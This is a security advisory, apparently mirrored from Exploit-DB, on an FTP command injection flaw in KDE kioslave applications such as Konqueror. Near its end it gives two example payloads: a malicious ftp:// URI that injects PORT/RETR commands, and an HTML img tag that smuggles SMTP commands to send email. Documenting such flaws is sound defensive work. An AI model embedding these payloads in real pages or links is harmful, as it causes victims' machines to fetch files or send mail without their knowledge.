Arbitrary FTP Server Command Execution in KDE FTP kioslave-based Applications

vendor:

KDE FTP kioslave-based Applications

by:

7.5

CVSS

HIGH

Arbitrary Command Execution

CWE

Product Name: KDE FTP kioslave-based Applications

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Linux, Unix

Arbitrary FTP Server Command Execution in KDE FTP kioslave-based Applications

KDE FTP kioslave-based applications such as Konqueror are reported prone to an arbitrary FTP server command execution vulnerability. This issue allows attackers to embed arbitrary FTP server commands in malicious URIs, leading to the execution of these commands on remote servers. Attackers can exploit this vulnerability to download malicious files to the victim's computer or send email to arbitrary addresses without user interaction.

Mitigation:

Apply the vendor-provided patch or upgrade to a non-vulnerable version of the software. Avoid clicking on suspicious links or accessing malicious URIs.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11827/info

KDE FTP kioslave-based applications such as Konqueror are reported prone to an arbitrary FTP server command execution vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to utilizing it to execute FTP commands on remote servers.

This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim users Web browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victims computer without their knowledge. Other attacks are also likely possible.

Note: It has been reported that this issue can be leveraged to send email to arbitrary addresses without user interaction.

ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs.

This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email:

<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a&lt;&gt;%0d%0aRCPT%20TO%3a&lt;username%40example.com&gt;%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:username@mx.example.net:25/" />